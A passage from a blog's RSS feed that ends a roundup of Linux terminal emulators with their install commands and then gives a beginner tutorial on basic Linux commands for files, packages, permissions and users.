<figure id="attachment_155409" class="wp-caption aligncenter" aria-describedby="caption-attachment-155409"><img loading="lazy" decoding="async" src="https://fossbytes.com/wp-content/uploads/2020/02/Guake-Drop-down-emulator.png" data-srcset="https://fossbytes.com/wp-content/uploads/2020/02/Guake-Drop-down-emulator.png 800w, https://fossbytes.com/wp-content/uploads/2020/02/Guake-Drop-down-emulator-300x225.png 300w, https://fossbytes.com/wp-content/uploads/2020/02/Guake-Drop-down-emulator-768x576.png 768w, https://fossbytes.com/wp-content/uploads/2020/02/Guake-Drop-down-emulator-560x420.png 560w, https://fossbytes.com/wp-content/uploads/2020/02/Guake-Drop-down-emulator-80x60.png 80w, https://fossbytes.com/wp-content/uploads/2020/02/Guake-Drop-down-emulator-100x75.png 100w, https://fossbytes.com/wp-content/uploads/2020/02/Guake-Drop-down-emulator-180x135.png 180w, https://fossbytes.com/wp-content/uploads/2020/02/Guake-Drop-down-emulator-238x178.png 238w, https://fossbytes.com/wp-content/uploads/2020/02/Guake-Drop-down-emulator-640x480.png 640w, https://fossbytes.com/wp-content/uploads/2020/02/Guake-Drop-down-emulator-681x511.png 681w" data-sizes="(max-width: 800px) 100vw, 800px" width="800" height="600"><figcaption id="caption-attachment-155409" class="wp-caption-text">Guake: Drop-down emulator</figcaption></figure>
<p>There are also other drop-down terminal emulators such as Yakuake, part of KDE family, and Tilda, but they have minimal customization. Guake is highly inspired from the Quake emulator.</p>
<h4>Key highlighting features of Guake:</h4>
<ul>
<li>Instant access to a terminal with a single keystroke</li>
<li>Autoconfigure and script execution at the login</li>
</ul>
<p>You can swiftly pull the terminal from the top bar by pressing a single keypad. F12 is the default keystroke which you can change later. Terminal stacks over the current application instead of replacing it with new windows.</p>
<p>Moreover, you can also open multiple terminals and reset the color of the focused window.</p>
<h4>How to install?</h4>
<p>For quick installation of Guake, you can run the command:</p>
<pre>sudo apt install guake</pre>
<p>If you’re unable to install it, you can directly get the source code from the git repository from <a href="https://guake.readthedocs.io/en/latest/user/installing.html#installing-guake" target="_blank" rel="nofollow noopener noreferrer external">here </a>and follow the installation guide.</p>
<h3>7. GNOME</h3>
<p>Ubuntu and its derivatives feature the GNOME desktop environment that comes with default GNOME terminal emulator. The default styling includes a decent green text hostname and light grey background.</p>
<figure id="attachment_155411" class="wp-caption aligncenter" aria-describedby="caption-attachment-155411"><img loading="lazy" decoding="async" src="https://fossbytes.com/wp-content/uploads/2020/02/gnome-terminal-emulator.png" data-srcset="https://fossbytes.com/wp-content/uploads/2020/02/gnome-terminal-emulator.png 800w, https://fossbytes.com/wp-content/uploads/2020/02/gnome-terminal-emulator-300x225.png 300w, https://fossbytes.com/wp-content/uploads/2020/02/gnome-terminal-emulator-768x576.png 768w, https://fossbytes.com/wp-content/uploads/2020/02/gnome-terminal-emulator-560x420.png 560w, https://fossbytes.com/wp-content/uploads/2020/02/gnome-terminal-emulator-80x60.png 80w, https://fossbytes.com/wp-content/uploads/2020/02/gnome-terminal-emulator-100x75.png 100w, https://fossbytes.com/wp-content/uploads/2020/02/gnome-terminal-emulator-180x135.png 180w, https://fossbytes.com/wp-content/uploads/2020/02/gnome-terminal-emulator-238x178.png 238w, https://fossbytes.com/wp-content/uploads/2020/02/gnome-terminal-emulator-640x480.png 640w, https://fossbytes.com/wp-content/uploads/2020/02/gnome-terminal-emulator-681x511.png 681w" data-sizes="(max-width: 800px) 100vw, 800px" width="800" height="600"><figcaption id="caption-attachment-155411" class="wp-caption-text">GNOME terminal emulator</figcaption></figure>
<h4>Key highlighting features of GNOME:</h4>
<ul>
<li>Custom cursor and font style</li>
<li>Multi-tab and Fullscreen mode</li>
<li>Script execution on startup</li>
<li>Audible notification</li>
</ul>
<p>Apart from the general appearance settings, you can also create various profiles with specific customized setting values. You can also perform multiple tasks using personalized shortcuts.</p>
<p>You can also customize the default terminal window size and zoom in or out to change the text size.</p>
<p>GNOME adds fluency to work with text as it understands the hyperlinks and email addresses, which redirects to the corresponding application to open.</p>
<h4>How to install?</h4>
<p>For quick installation of GNOME terminal, you can run the command:</p>
<pre>sudo apt install gnome-terminal</pre>
<h3>8. Xfce</h3>
<p>Xfce desktop environment is known for its lightweight experience that ships with the Xfce4-terminal emulator. Xfce emulator is mainly focussed on running over the old hardware devices.</p>
<figure id="attachment_155419" class="wp-caption aligncenter" aria-describedby="caption-attachment-155419"><img loading="lazy" decoding="async" src="https://fossbytes.com/wp-content/uploads/2020/02/Xfce4-terminal-emulator.png" data-srcset="https://fossbytes.com/wp-content/uploads/2020/02/Xfce4-terminal-emulator.png 800w, https://fossbytes.com/wp-content/uploads/2020/02/Xfce4-terminal-emulator-300x225.png 300w, https://fossbytes.com/wp-content/uploads/2020/02/Xfce4-terminal-emulator-768x576.png 768w, https://fossbytes.com/wp-content/uploads/2020/02/Xfce4-terminal-emulator-560x420.png 560w, https://fossbytes.com/wp-content/uploads/2020/02/Xfce4-terminal-emulator-80x60.png 80w, https://fossbytes.com/wp-content/uploads/2020/02/Xfce4-terminal-emulator-100x75.png 100w, https://fossbytes.com/wp-content/uploads/2020/02/Xfce4-terminal-emulator-180x135.png 180w, https://fossbytes.com/wp-content/uploads/2020/02/Xfce4-terminal-emulator-238x178.png 238w, https://fossbytes.com/wp-content/uploads/2020/02/Xfce4-terminal-emulator-640x480.png 640w, https://fossbytes.com/wp-content/uploads/2020/02/Xfce4-terminal-emulator-681x511.png 681w" data-sizes="(max-width: 800px) 100vw, 800px" width="800" height="600"><figcaption id="caption-attachment-155419" class="wp-caption-text">Xfce4 terminal emulator</figcaption></figure>
<h4>Key highlighting features of Xfce4-terminal:</h4>
<ul>
<li>Export output in a plain text file</li>
<li>Change terminal title</li>
</ul>
<p>Xfce4-terminal allows opening multiple tabs but is restricted to the individual terminal at a time. You need to use a mouse pointer to switch between tabs to monitor the multiple terminal actions at once.</p>
<p>Xfce emulator is based on the Vte terminal widget library, like gnome-terminal. Similarly, Xfce does not provide many options to customize, except terminal preferences that include general and appearance settings.</p>
<h4>How to install?</h4>
<p>For quick installation of Xfce, you can run the command:</p>
<pre>sudo apt install xfce4-terminal</pre>
<p>If you find any difficulty, you can download the tarball source from <a href="https://git.xfce.org/apps/xfce4-terminal" target="_blank" rel="nofollow noopener noreferrer external">here</a>.</p>
<h3>9. Alacritty</h3>
<p>Alacritty is considered to be the fastest terminal emulator that uses your GPU to optimize the speed.</p>
<p>Alacritty is a cross-platform, performance focussed and simplest terminal emulator. Being the fastest, some people may find it the best emulator, but it also lags to offer the style customization options.</p>
<figure id="attachment_155428" class="wp-caption aligncenter" aria-describedby="caption-attachment-155428"><img loading="lazy" decoding="async" src="https://fossbytes.com/wp-content/uploads/2020/02/Alacritty.jpg" data-srcset="https://fossbytes.com/wp-content/uploads/2020/02/Alacritty.jpg 941w, https://fossbytes.com/wp-content/uploads/2020/02/Alacritty-300x219.jpg 300w, https://fossbytes.com/wp-content/uploads/2020/02/Alacritty-768x562.jpg 768w, https://fossbytes.com/wp-content/uploads/2020/02/Alacritty-574x420.jpg 574w, https://fossbytes.com/wp-content/uploads/2020/02/Alacritty-640x468.jpg 640w, https://fossbytes.com/wp-content/uploads/2020/02/Alacritty-681x498.jpg 681w" data-sizes="(max-width: 941px) 100vw, 941px" width="941" height="688"><figcaption id="caption-attachment-155428" class="wp-caption-text">Alacritty</figcaption></figure>
<h4>Key highlighting features of Alacritty:</h4>
<ul>
<li>Cross-platform</li>
<li>GPU accelerated</li>
<li>Colored emojis</li>
</ul>
<p>Another thing that you may dislike about the Alacritty is third party tool dependency. Installing Alacritty is a lengthy process that may initially force you to stay on the same emulator rather than struggle with the installation.</p>
<h4>How to install?</h4>
<p>If you’re using Debian-based Linux distro, you can install the alacritty using snapd application package.</p>
<pre>sudo apt update
sudo apt install snapd
sudo snap install alacritty --classic</pre>
<p>For other Linux distros, you can follow the command given <a href="https://github.com/alacritty/alacritty#installation" target="_blank" rel="nofollow noopener noreferrer external">here</a>, or you can download the pre-built binaries from <a href="https://github.com/alacritty/alacritty/releases" target="_blank" rel="nofollow noopener noreferrer external">here</a>.</p>
<h3>10. Tilda</h3>
<p>Tilda is also a drop-down emulator based on GTK with no border window. You can press the default F12 or customized keystroke to open the terminal that pulls out from the top.</p>
<figure id="attachment_155441" class="wp-caption aligncenter" aria-describedby="caption-attachment-155441"><img loading="lazy" decoding="async" src="https://fossbytes.com/wp-content/uploads/2020/02/Tilda.png" data-srcset="https://fossbytes.com/wp-content/uploads/2020/02/Tilda.png 800w, https://fossbytes.com/wp-content/uploads/2020/02/Tilda-300x225.png 300w, https://fossbytes.com/wp-content/uploads/2020/02/Tilda-768x576.png 768w, https://fossbytes.com/wp-content/uploads/2020/02/Tilda-560x420.png 560w, https://fossbytes.com/wp-content/uploads/2020/02/Tilda-80x60.png 80w, https://fossbytes.com/wp-content/uploads/2020/02/Tilda-100x75.png 100w, https://fossbytes.com/wp-content/uploads/2020/02/Tilda-180x135.png 180w, https://fossbytes.com/wp-content/uploads/2020/02/Tilda-238x178.png 238w, https://fossbytes.com/wp-content/uploads/2020/02/Tilda-640x480.png 640w, https://fossbytes.com/wp-content/uploads/2020/02/Tilda-681x511.png 681w" data-sizes="(max-width: 800px) 100vw, 800px" width="800" height="600"><figcaption id="caption-attachment-155441" class="wp-caption-text">Tilda</figcaption></figure>
<h4>Key highlighting features of Tilda:</h4>
<ul>
<li>Dropdown</li>
<li>Highly configurable</li>
<li>Toggle search bar</li>
<li>Auto-hide terminal</li>
</ul>
<p>Tilda is limited to work only on Xorg-based desktops, and it does not support Wayland; hence doesn’t work on Ubuntu 17.10 onwards.</p>
<h4>How to install?</h4>
<p>For quick installation of Tilda, you can run the command:</p>
<pre>sudo apt install tilda</pre>
<p>If you find any difficulty, you can download the pre-built binaries or follow instructions given <a href="https://github.com/lanoxx/tilda/blob/master/HACKING.md" target="_blank" rel="nofollow noopener noreferrer external">here</a>.</p>
<p>So the list of top ten emulators ends here, but not the list of terminal emulators. You can also try other terminal emulators available such as Lilyterm, Tilda, eterm, roxterm, etc.</p>
</div>
<p>The post <a href="http://kostacipo.stream/10-best-linux-terminal-emulators-2020-edition/">10 Best Linux Terminal Emulators [2020 Edition]</a> appeared first on <a href="http://kostacipo.stream">Tech Chronicles</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>http://kostacipo.stream/10-best-linux-terminal-emulators-2020-edition/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Basic Linux Commands</title>
		<link>http://kostacipo.stream/basic-linux-commands/</link>
					<comments>http://kostacipo.stream/basic-linux-commands/#respond</comments>
		
		<dc:creator><![CDATA[Majordomo]]></dc:creator>
		<pubDate>Fri, 24 Jan 2020 15:57:15 +0000</pubDate>
				<category><![CDATA[General]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[linux]]></category>
		<guid isPermaLink="false">http://www.kostacipo.stream/?p=1706</guid>

					<description><![CDATA[<p>&#160; New Linux converts coming from the Windows world may find working with the command line to be somewhat intimidating. However, it&#8217;s not that difficult to use. All you need to get started with the command line is to learn a few basic commands. While most Linux distributions are user-friendly and come with an easy [&#8230;]</p>
<p>The post <a href="http://kostacipo.stream/basic-linux-commands/">Basic Linux Commands</a> appeared first on <a href="http://kostacipo.stream">Tech Chronicles</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>&nbsp;</p>
<p>New Linux converts coming from the Windows world may find working with the command line to be somewhat intimidating. However, it&#8217;s not that difficult to use. All you need to get started with the command line is to learn a few basic commands.</p>
<p>While most Linux distributions are user-friendly and come with an easy to use graphical interface, knowing how to use the command line can be very useful. The command line gives you more power over your system and access to features that are not available through a graphical interface.<span id="ezoic-pub-ad-placeholder-158" class="ezoic-adpicker-ad"></span></p>
<p>In this article, we&#8217;ll go through some of the most common Linux commands that are used on a daily basis by the Linux system administrators.<span id="ezoic-pub-ad-placeholder-138" class="ezoic-adpicker-ad"></span></p>
<h2 id="getting-information-about-the-command">Getting Information About the Command</h2>
<p>Memorizing command options is usually not necessary and may be a waste of time. Usually, if you are not using the command frequently, you can easily forget its options.</p>
<p>Most commands have a&nbsp;<code>--help</code>&nbsp;option which prints a short message about how to use the command and exits:<span id="ezoic-pub-ad-placeholder-139" class="ezoic-adpicker-ad"></span></p>
<div class="highlight">
<pre class="chroma"><code class="language-sh" data-lang="sh">command_name --help
</code></pre>
<p>The&nbsp;<code>man</code>&nbsp;command</div>
<p>Almost all Linux commands are distributed together with man pages. A man or manual page is a form of documentation that explains what the command does, examples of how you run the command, and what arguments it accepts.<span id="ezoic-pub-ad-placeholder-156" class="ezoic-adpicker-ad"></span></p>
<p><span id="ezoic-pub-ad-placeholder-159" class="ezoic-adpicker-ad"></span>The&nbsp;<code>man</code>&nbsp;command is used to display the manual page of a given command.<span id="ezoic-pub-ad-placeholder-140" class="ezoic-adpicker-ad"></span></p>
<div class="highlight">
<pre class="chroma"><code class="language-sh" data-lang="sh">man command_name
</code></pre>
<p>For example, to open the man page of the,&nbsp;<code>cd</code>&nbsp;command you would type:</div>
<pre class="terminal"><code class="terminal-line">man cd</code></pre>
<p>To navigate the man pages, use the&nbsp;<code>Arrow</code>,&nbsp;<code>Page Up</code>&nbsp;and&nbsp;<code>Page Down</code>&nbsp;keys. You can also press&nbsp;<code>Enter</code>&nbsp;key to move one line at a time, the&nbsp;<code>Space</code>&nbsp;bar to move to the next screen, and the&nbsp;<code>b</code>&nbsp;key to go one screen back. To exit the man page, press the&nbsp;<code>q</code>&nbsp;key.</p>
<h2 id="navigating-the-file-system">Navigating the File System</h2>
<p>In Linux, every file and directory is under the root directory, which is the first or top-most directory in the directory tree. The root directory is referred to by a single leading slash&nbsp;<code>/</code>.</p>
<p>When navigating the file system on operating on files, you can use either the absolute or the relative path to the resource.</p>
<p>The absolute or full path starts from the system root&nbsp;<code>/</code>, and the relative path starts from your current directory.<span id="ezoic-pub-ad-placeholder-142" class="ezoic-adpicker-ad"></span></p>
<h3 id="current-working-directory-pwd-command">Current Working Directory (<code>pwd</code>&nbsp;command)</h3>
<p>The current working directory is the directory in which the user is currently working in. Each time you interact with your command prompt, you are working within a directory.<span id="ezoic-pub-ad-placeholder-160" class="ezoic-adpicker-ad"></span></p>
<p>Use the&nbsp;<code>pwd</code>&nbsp;command to find out what directory you are currently in:</p>
<pre class="terminal"><code class="terminal-line">pwd</code></pre>
<p>The command displays the path of your current working directory:</p>
<pre><code class="language-output" data-lang="output">/home/linuxize
</code></pre>
<h3 id="changing-directory-cd-command">Changing directory (<code>cd</code>&nbsp;command)</h3>
<p>The&nbsp;<code>cd</code>&nbsp;(“change directory”) command is used to change the current working directory in Linux and other Unix-like operating systems.<span id="ezoic-pub-ad-placeholder-143" class="ezoic-adpicker-ad"></span></p>
<p><span id="ezoic-pub-ad-placeholder-161" class="ezoic-adpicker-ad"></span>When used without any argument,&nbsp;<code>cd</code>&nbsp;will take you to your home directory:</p>
<pre class="terminal"><code class="terminal-line">cd</code></pre>
<p>To change to a directory, you can use its absolute or relative path name.</p>
<p>Assuming that the directory&nbsp;<code>Downloads</code>&nbsp;exists in the directory from which you run the command, you can navigate to it by using the relative path to the directory:<span id="ezoic-pub-ad-placeholder-144" class="ezoic-adpicker-ad"></span></p>
<div id="linuxize_com-link-h-large-1" class="ezo_link_unit_m">&nbsp;</div>
<pre class="terminal"><code class="terminal-line">cd Downloads</code></pre>
<p>You can also navigate to a directory by using its absolute path:</p>
<pre class="terminal"><code class="terminal-line">cd /home/linuxize/Downloads</code></pre>
<p>Two dots (<code>..</code>), one after the other, are representing the parent directory or, in other words, the directory immediately above the current one.<span id="ezoic-pub-ad-placeholder-157" class="ezoic-adpicker-ad"></span></p>
<p>Suppose you are currently in the&nbsp;<code>/usr/local/share</code>&nbsp;directory, to switch to the&nbsp;<code>/usr/local</code>&nbsp;directory (one level up from the current directory), you would type:<span id="ezoic-pub-ad-placeholder-145" class="ezoic-adpicker-ad"></span></p>
<pre class="terminal"><code class="terminal-line">cd ../</code></pre>
<p>To move two levels up use:</p>
<pre class="terminal"><code class="terminal-line">cd ../../</code></pre>
<p>To change back to the previous working directory, use the dash (<code>-</code>) character as an argument:</p>
<pre class="terminal"><code class="terminal-line">cd -</code></pre>
<p>If the directory you want to change to has spaces in its name, you should either surround the path with quotes or use the backslash () character to escape the space:</p>
<pre class="terminal"><code class="terminal-line">cd Dir\ name\ with\ space</code></pre>
<h2 id="working-with-files-and-directories">Working with Files and Directories</h2>
<h3 id="listing-directory-contents-ls-command">Listing directory contents (<code>ls</code>&nbsp;command)</h3>
<p>The&nbsp;<code>ls</code>&nbsp;command is used to list information about files and directories within a directory.<span id="ezoic-pub-ad-placeholder-146" class="ezoic-adpicker-ad"></span></p>
<p>When used with no options and arguments,&nbsp;<code>ls</code>&nbsp;displays a list in alphabetical order of the names of all files in the current working directory:</p>
<pre class="terminal"><code class="terminal-line">ls</code></pre>
<p>To list files in a specific directory, pass the path to the directory as an argument:</p>
<pre class="terminal"><code class="terminal-line">ls /usr</code></pre>
<p>The default output of the&nbsp;<code>ls</code>&nbsp;command shows only the names of the files and directories. Use the&nbsp;<code>-l</code>&nbsp;to print files in a long listing format:</p>
<pre class="terminal"><code class="terminal-line">ls -l /etc/hosts</code></pre>
<p>The output includes the file type, permissions, number of hard links, owner, group, size, date, and filename:</p>
<pre><code class="language-output" data-lang="output">-rw-r--r-- 1 root root 337 Oct  4 11:31 /etc/hosts
</code></pre>
<p>The&nbsp;<code>ls</code>&nbsp;command doesn&#8217;t list the hidden files by default. A hidden file is any file that begins with a period (<code>.</code>).<span id="ezoic-pub-ad-placeholder-147" class="ezoic-adpicker-ad"></span></p>
<p>To display all files including the hidden files, use the&nbsp;<code>-a</code>&nbsp;option:</p>
<pre class="terminal"><code class="terminal-line">ls -a ~/</code></pre>
<h3 id="displaying-file-contents-cat-command">Displaying file contents (<code>cat</code>&nbsp;command)</h3>
<p>The&nbsp;<code>cat</code>&nbsp;command is used to print the contents of one or more files and to merge (concatenate) files by appending the contents of one file to the end of another file.</p>
<p>To display the contents of a file on the screen, pass the file name to&nbsp;<code>cat</code>&nbsp;as an argument:</p>
<pre class="terminal"><code class="terminal-line">cat /etc/hosts</code></pre>
<h3 id="creating-files-touch-command">Creating files (<code>touch</code>&nbsp;command)</h3>
<p>The&nbsp;<code>touch</code>&nbsp;command is used to update the timestamps on existing files and directories as well as to create new, empty files.</p>
<p>To&nbsp;create a file, specify the file name as an argument:</p>
<pre class="terminal"><code class="terminal-line">touch file.txt</code></pre>
<p>If the file already exists,&nbsp;<code>touch</code>&nbsp;will change the file last access and modification times to the current time.</p>
<h3 id="creating-directories-mkdir-command">Creating directories (<code>mkdir</code>&nbsp;command)</h3>
<p>In Linux, you can create new directories (also known as folders) using the&nbsp;<code>mkdir</code>&nbsp;command.<span id="ezoic-pub-ad-placeholder-149" class="ezoic-adpicker-ad"></span></p>
<p>To create a directory, pass the name of the directory as the argument to the command:</p>
<pre class="terminal"><code class="terminal-line">mkdir /tmp/newdirectory</code></pre>
<p><code>mkdir</code>&nbsp;can take one or more directory names as its arguments.</p>
<p>When providing only the directory name, without the full path, it will be created in the current working directory.</p>
<p>To create parent directories use the&nbsp;<code>-p</code>&nbsp;option:</p>
<pre class="terminal"><code class="terminal-line">mkdir -p Projects/linuxize.com/src/assets/images</code></pre>
<p>The command above creates the whole directory structure.</p>
<p>When&nbsp;<code>mkdir</code>&nbsp;is invoked with the&nbsp;<code>-p</code>&nbsp;option, it creates the directory only if it doesn’t exist.</p>
<h3 id="creating-symbolic-links-ln-command">Creating symbolic links (<code>ln</code>&nbsp;command)</h3>
<p>A symbolic link (or symlink) is a special type of file that points to another file or directory.</p>
<p>To create a symbolic link to a given file, use the&nbsp;<code>ln</code>&nbsp;command with the&nbsp;<code>-s</code>&nbsp;option, the name of the file as the first argument and the name of the symbolic link as the second argument:</p>
<pre class="terminal"><code class="terminal-line">ln -s source_file symbolic_link</code></pre>
<p>If only one file is given as an argument&nbsp;<code>ln</code>&nbsp;creates a link to that file in the current working directory with the same name as the file it points to.</p>
<h3 id="removing-files-and-directories-rm-command">Removing files and directories (<code>rm</code>&nbsp;command)</h3>
<p>To remove files and directories use the&nbsp;<code>rm</code>&nbsp;command.<span id="ezoic-pub-ad-placeholder-148" class="ezoic-adpicker-ad"></span></p>
<div id="linuxize_com-link-v-med-1" class="ezo_link_unit_m">&nbsp;</div>
<p>By default, when executed without any option,&nbsp;<code>rm</code>&nbsp;doesn’t remove directories. It also doesn’t prompt the user for whether to proceed with the removal of the given files.</p>
<p>To delete a file or a symlink, use the&nbsp;<code>rm</code>&nbsp;command followed by the file name as an argument:</p>
<pre class="terminal"><code class="terminal-line">rm file.txt</code></pre>
<p><code>rm</code>&nbsp;accepts one or more file or directory names as its arguments.</p>
<p>The&nbsp;<code>-i</code>&nbsp;option tells&nbsp;<code>rm</code>&nbsp;to prompt the user for each given file before removing it:</p>
<pre class="terminal"><code class="terminal-line">rm -i file.txt</code></pre>
<pre><code class="language-output" data-lang="output">rm: remove regular empty file 'file.txt'? 
</code></pre>
<p>Use the&nbsp;<code>-d</code>&nbsp;option to remove one or more empty directories:</p>
<pre class="terminal"><code class="terminal-line">rm -d dirname</code></pre>
<p>To remove non-empty directories and all the files within them recursively, use the&nbsp;<code>-r</code>&nbsp;(recursive) option:</p>
<pre class="terminal"><code class="terminal-line">rm -rf dirname</code></pre>
<p>The&nbsp;<code>-f</code>&nbsp;option tells&nbsp;<code>rm</code>&nbsp;never to prompt the user and to ignore nonexistent files and arguments.</p>
<h3 id="copying-files-and-directories-cp-command">Copying files and directories (<code>cp</code>&nbsp;command)</h3>
<p>The&nbsp;<code>cp</code>&nbsp;command allows you to copy files and directories.</p>
<p>To copy a file in the current working directory, use the source file as a first argument and the new file as the second:</p>
<pre class="terminal"><code class="terminal-line">cp file file_backup</code></pre>
<p>To copy a file to another directory, specify the absolute or the relative path to the destination directory. When only the directory name is specified as a destination, the copied file will have the same name as the original file.</p>
<pre class="terminal"><code class="terminal-line">cp file.txt /backup</code></pre>
<p>By default, if the destination file exists, it will be overwritten.</p>
<p>To copy a directory, including all its files and subdirectories, use the&nbsp;<code>-R</code>&nbsp;or&nbsp;<code>-r</code>&nbsp;option:</p>
<pre class="terminal"><code class="terminal-line">cp -R Pictures /opt/backup</code></pre>
<h3 id="moving-and-renaming-files-and-directories-mv-command">Moving and renaming files and directories (<code>mv</code>&nbsp;command)</h3>
<p>The&nbsp;<code>mv</code>&nbsp;command (short from move) is used to rename and move and files and directories from one location to another.</p>
<p>For example to move a file to a directory you would run:</p>
<pre class="terminal"><code class="terminal-line">mv file.txt /tmp</code></pre>
<p>To rename a file you need to specify the destination file name:</p>
<pre class="terminal"><code class="terminal-line">mv file.txt file1.txt</code></pre>
<p>The syntax for moving directories is the same as when moving files.</p>
<p>To move multiple files and directories at once, specify the destination directory as the last argument:</p>
<pre class="terminal"><code class="terminal-line">mv file.tx1 file1.txt /tmp</code></pre>
<h2 id="installing-and-removing-packages">Installing and Removing Packages</h2>
<p>A package manager is a tool that allows you to install, update, remove, and otherwise manage distro-specific software packages.</p>
<p>Different Linux distributions have different package managers and package formats.</p>
<p>Only root or user with sudo privileges can install and remove packages.</p>
<h3 id="ubuntu-and-debian-apt-command">Ubuntu and Debian (<code>apt</code>&nbsp;command)</h3>
<p>Advanced Package Tool or APT is a package management system used by Debian-based distributions.</p>
<p>There are several command-line package management tools in Debian distributions with&nbsp;<code>apt</code>&nbsp;and&nbsp;<code>apt-get</code>&nbsp;being the most used ones.</p>
<p>Before installing a new package first, you need to update the APT package index:</p>
<pre class="terminal"><code class="terminal-line">apt update</code></pre>
<p>The APT index is a database that holds records of available packages from the repositories enabled in your system.</p>
<p>To upgrade the installed packages to their latest versions run:</p>
<pre class="terminal"><code class="terminal-line">apt upgrade</code></pre>
<p>Installing packages is as simple as running:</p>
<pre class="terminal"><code class="terminal-line">apt install package_name</code></pre>
<p>To&nbsp;remove an installed package, enter:</p>
<pre class="terminal"><code class="terminal-line">apt remove package_name</code></pre>
<h3 id="centos-and-fedora-dnf-command">CentOS and Fedora (<code>dnf</code>&nbsp;command)</h3>
<p>RPM is a powerful package management system used by Red Hat Linux and its derivatives such as CentOS and Fedora. RPM also refers to the&nbsp;<code>rpm</code>&nbsp;command and&nbsp;<code>.rpm</code>&nbsp;file format.</p>
<p>To&nbsp;install a new package&nbsp;on Red Hat based distributions, you can use either&nbsp;<code>yum</code>&nbsp;or&nbsp;<code>dnf</code>&nbsp;commands:</p>
<pre class="terminal"><code class="terminal-line">dnf install package_name</code></pre>
<p>Starting from CentOS 8&nbsp;<code>dnf</code>&nbsp;replaced&nbsp;<code>yum</code>&nbsp;as the default package manager.&nbsp;<code>dnf</code>&nbsp;is backward compatible with&nbsp;<code>yum</code>.</p>
<p>To upgrade the installed packages to their latest versions, type:</p>
<pre class="terminal"><code class="terminal-line">dnf update</code></pre>
<p>Removing packages is as simple as:</p>
<pre class="terminal"><code class="terminal-line">dnf remove package_name</code></pre>
<h2 id="file-ownership-and-permissions">File Ownership and Permissions</h2>
<p>In Linux, access to the files is managed through the file permissions, attributes, and ownership. This ensures that only authorized users and processes can access files and directories.</p>
<p>In Linux, each file is associated with an owner and a group and assigned with permission access rights for three different classes of users:</p>
<ul>
<li>The file owner.</li>
<li>The group members.</li>
<li>Everybody else.</li>
</ul>
<p>There are three permissions types that apply to each class:</p>
<ul>
<li>The read permission.</li>
<li>The write permission.</li>
<li>The execute permission.</li>
</ul>
<p>This concept allows you to specify which users are allowed to read the file, write to the file, or execute the file.</p>
<p>To view the file owner and permissions, use the&nbsp;<code>ls -l</code>&nbsp;command.</p>
<h3 id="changing-permissions-chmod-command">Changing permissions (<code>chmod</code>&nbsp;command)</h3>
<p>The&nbsp;<code>chmod</code>&nbsp;command allows you to change the file permissions. It works in two modes, symbolic and numeric.</p>
<p>When using the numeric mode, you can set the permissions for the owner, group, and all others. Each write, read, and execute permissions have the following number value:</p>
<ul>
<li><code>r</code>&nbsp;(read) = 4</li>
<li><code>w</code>&nbsp;(write) = 2</li>
<li><code>x</code>&nbsp;(execute) = 1</li>
<li>no permissions = 0</li>
</ul>
<p>The permissions number of a specific user class is represented by the sum of the values of the permissions for that group.</p>
<p>For example, to give the file&#8217;s owner read and write permissions and only read permissions to group members and all other users you would run:</p>
<pre class="terminal"><code class="terminal-line">chmod 644 filename</code></pre>
<p>Only root, the file owner, or user with sudo privileges can change the permissions of a file.</p>
<p>To&nbsp;recursively&nbsp;operate on all files and directories under a given directory, use the&nbsp;<code>chmod</code>&nbsp;command with the -R, (–recursive) option:</p>
<pre class="terminal"><code class="terminal-line">chmod -R 755 dirname</code></pre>
<p>Be extra careful when recursively changing the files’ permissions.</p>
<h3 id="changing-ownership-chown-command">Changing ownership (<code>chown</code>&nbsp;command)</h3>
<p>The&nbsp;<code>chown</code>&nbsp;command allows you to change the user and group ownership of a given file, directory, or symbolic link.</p>
<p>To change the owner of a file, use the&nbsp;<code>chown</code>&nbsp;command followed by the user name of the new owner and the target file:</p>
<pre class="terminal"><code class="terminal-line">chown username filename</code></pre>
<p>To change both the owner and the group of a file invoke the&nbsp;<code>chown</code>&nbsp;command followed by the new owner and group separated by a colon (<code>:</code>) with no intervening spaces and the target file:</p>
<pre class="terminal"><code class="terminal-line">chown username:groupname filename</code></pre>
<p>Use the&nbsp;<code>-R</code>&nbsp;(<code>--recursive</code>) option, to recursively operate on all files and directories under the given directory:</p>
<pre class="terminal"><code class="terminal-line">chown -R username:groupname dirname</code></pre>
<h3 id="elevate-privileges-sudo-command">Elevate privileges (<code>sudo</code>&nbsp;command)</h3>
<p>The&nbsp;<code>sudo</code>&nbsp;command allows you to run programs as another user, by default the root user. If you spend a lot of time on the command line,&nbsp;<code>sudo</code>&nbsp;is one of the commands that you will use quite frequently.</p>
<p>Using&nbsp;<code>sudo</code>&nbsp;instead of login in as root is more secure because you can grant limited administrative privileges to individual users without them knowing the root password.</p>
<p>To use&nbsp;<code>sudo</code>, simply prefix the command with&nbsp;<code>sudo</code>:</p>
<pre class="terminal"><code class="terminal-line">sudo command</code></pre>
<h2 id="managing-users-and-groups">Managing Users and Groups</h2>
<p>Linux is a multi-user system, which means that more than one person can interact with the same system at the same time. Groups are used to organize and administer user accounts. The primary purpose of groups is to define a set of privileges such as reading, writing, or executing permission for a given resource that can be shared among the users within the group.</p>
<h3 id="creating-users-useradd-and-passwd-commands">Creating users (<code>useradd</code>&nbsp;and&nbsp;<code>passwd</code>&nbsp;Commands)</h3>
<p>The&nbsp;<code>useradd</code>&nbsp;command allows you can create new users.</p>
<p>To create a new user account use the&nbsp;<code>useradd</code>&nbsp;command followed by the username:</p>
<pre class="terminal"><code class="terminal-line">useradd newuser</code></pre>
<p>Once the user is created, set the user password by running the&nbsp;<code>passwd</code>&nbsp;command:</p>
<pre class="terminal"><code class="terminal-line">passwd newuser</code></pre>
<h3 id="removing-users-userdel-command">Removing users (<code>userdel</code>&nbsp;Command)</h3>
<p>In Linux, you can delete a user account using the&nbsp;<code>userdel</code>&nbsp;command.</p>
<p>To delete a user account named pass the user name to the&nbsp;<code>userdel</code>&nbsp;command:</p>
<pre class="terminal"><code class="terminal-line">userdel newuser</code></pre>
<p>Use the&nbsp;<code>-r</code>&nbsp;(–remove) option to remove the user’s home directory and mail spool:</p>
<pre class="terminal"><code class="terminal-line">userdel -r newuser</code></pre>
<h3 id="managing-groups-groupadd-and-groupdel-command">Managing groups (<code>groupadd</code>&nbsp;and&nbsp;<code>groupdel</code>&nbsp;Command)</h3>
<p>To create a new group use the&nbsp;<code>groupadd</code>&nbsp;command followed by the group name:</p>
